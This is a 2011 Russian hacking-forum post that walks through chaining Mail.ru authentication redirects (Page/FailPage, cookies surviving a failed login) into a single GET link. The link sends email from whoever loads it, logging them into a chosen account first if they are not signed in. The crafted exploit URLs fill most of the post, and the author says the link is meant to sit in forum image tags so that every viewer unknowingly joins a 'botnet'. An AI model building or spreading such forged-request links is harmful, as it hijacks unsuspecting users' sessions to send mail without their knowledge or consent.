Показать сообщение отдельно

  #5  
Старый 12.07.2011, 03:03
M_script
Новичок
Регистрация: 04.11.2004
Сообщений: 5
С нами: 11322426

Репутация: 0
По умолчанию

Примеры реализации. Вариант 2

Продолжая изучение мэйлру, в самом низу списка папок почтового ящика заметил "Архив М-Агента".

Так как мэйл-агентом я не пользовался, архив оказался пуст и мне предложили на выбор 2 ссылки - "Загрузить программу Mail.Ru Агент" и "Воспользоваться веб-версией Mail.Ru Агента"

Посмотрел исходник страницы. Первая ссылка обычная -

Вторая оказалась интересней. Она через window.open открывала окно http://swa.mail.ru/cgi-bin/auth?Page=http%3A//webagent.mail.ru/webagent&FailPage=http%3A//webagent.mail.ru/auth

Это обычный скрипт авторизации, но без параметров Login, Domain и Password. Если аккаунт уже авторизован, редирект на Page, если нет - на FailPage.

Из других поддоменов запрос работает только на e.mail.ru, с остальных идет перенаправление на /cgi-bin/start

Во время тестов столкнулся с проблемой. После авторизации аккаунта запрос http://e.mail.ru/cgi-bin/auth?Page=http://mail.ru/zero&FailPage=http://img.mail.ru/ вместо прямого редиректа выдает

Код:
HTTP/1.1 200 OK
..
В этом случае работа через тэг img становится невозможной.

[offtop]Вместо http://img.mail.ru/r/dumb.gif нашел более короткую ссылку на картинку 1x1px - http://mail.ru/zero. В дальнейших примерах буду использовать ее[/offtop]

Проверив различные варианты, обнаружил, что после отправки запроса http://auth.mail.ru/cgi-bin/auth?Page=http://mail.ru/zero&FailPage=http://img.mail.ru/ (с последующим редиректом на http://win.mail.ru/cgi-bin/start) тот же запрос на e.mail.ru выдает уже прямой редирект "Location: http://mail.ru/zero". То есть, после одного прямого редиректа, все остальные редиректы так же становятся прямыми.

Дальше удалось выяснить интересную особенность мэйлру - при неудачной авторизации куки не очищаются. Это значит, что с авторизованного аккаунта мэйлру можно выполнить заведомо неверный запрос авторизации и при этом не потерять текущую сессию.

Для редиректа на FailPage достаточно указать хотя бы один обязательный параметр авторизации - Domain, Login или Password. Самый короткий параметр - Login, поэтому выбираем его.

http://auth.mail.ru/cgi-bin/auth?Login=x&FailPage=http://e.mail.ru/cgi-bin/auth?Page=http://mail.ru/zero%26FailPage=http://img.mail.ru/

Теперь у нас есть возможность выбирать редиректы в зависимости от следующих ситуаций:

1) пользователь авторизован

2) пользователь не авторизован

3) авторизация прошла успешно

4)ошибка авторизации

Так же есть возможность отправить письмо GET-запросом.

Здесь начинается самое интересное. Меняем параметры запроса (красное - то, что было. зеленое - то, что стало):

http://auth.mail.ru/cgi-bin/auth?Login=x&FailPage=http://e.mail.ru/cgi-bin/auth?

Page=http://mail.ru/zero

Page=http://pro.mail.ru/cgi-bin/ajax_sendmsg?ajax_call=1%2526func_name=ajax_send_m sg%2526data=[{"To":"[Кому]","Subject":"[Тема]","Body":"[Содержание]","HTMLMessage":1,"send":1}]

%26FailPage=http://img.mail.ru/

%26FailPage=http://m.mail.ru/cgi-bin/auth?Login=[Логин]%2526Password=[Пароль]%2526page=../img/at.png%2526FailPage=
​

Еще одна замена:

http://m.mail.ru/cgi-bin/auth?Login=x&FailPage=http://e.mail.ru/cgi-bin/auth?Page=http://pro.mail.ru/cgi-bin/ajax_sendmsg?ajax_call=1%2526func_name=ajax_send_m sg%2526data=[{"To":"[Кому]","Subject":"[Тема]","Body":"[Содержание]","HTMLMessage":1,"send":1}]%26FailPage=http://m.mail.ru/cgi-bin/auth?Login=[Логин]%2526Password=[Пароль]%2526

page=../img/at.png%2526FailPage=

page=http://pro.mail.ru/cgi-bin/ajax_sendmsg?ajax_call=1%252526func_name=ajax_send _msg%252526data=[{"To":"[Кому]","Subject":"[Тема]","Body":"[Содержание]","HTMLMessage":1,"send":1}]

​

Результат:

http://auth.mail.ru/cgi-bin/auth?Login=x&FailPage=http://e.mail.ru/cgi-bin/auth?Page=http://pro.mail.ru/cgi-bin/ajax_sendmsg?ajax_call=1%2526func_name=ajax_send_m sg%2526data=[{"To":"

[Кому]

","Subject":"

[Тема]

","Body":"

[Содержание]

","HTMLMessage":1,"send":1}]%26FailPage=http://m.mail.ru/cgi-bin/auth?Login=

[Логин]

%2526Password=

[Пароль]

%2526page=http://pro.mail.ru/cgi-bin/ajax_sendmsg?ajax_call=1%252526func_name=ajax_send _msg%252526data=[{"To":"

[Кому]

","Subject":"

[Тема]

","Body":"

[Содержание]

","HTMLMessage":1,"send":1}]
​

Полученная ссылка проверяет авторизацию пользователя на мэйлру. Если он авторизован, отправляется письмо. Если не авторизован, происходит авторизация и отправляется письмо.

Исходник скрипта выкладывать не буду, потому что он почти ничем не отличается от /showpost.php?p=2706687&postcount=12

Ссылка на скрипт-картинку вставляется в бб-код IMG и рассылается по форумам. Каждый человек, открывший страницу форума, автоматически становится частью ботнета.
 
Ответить с цитированием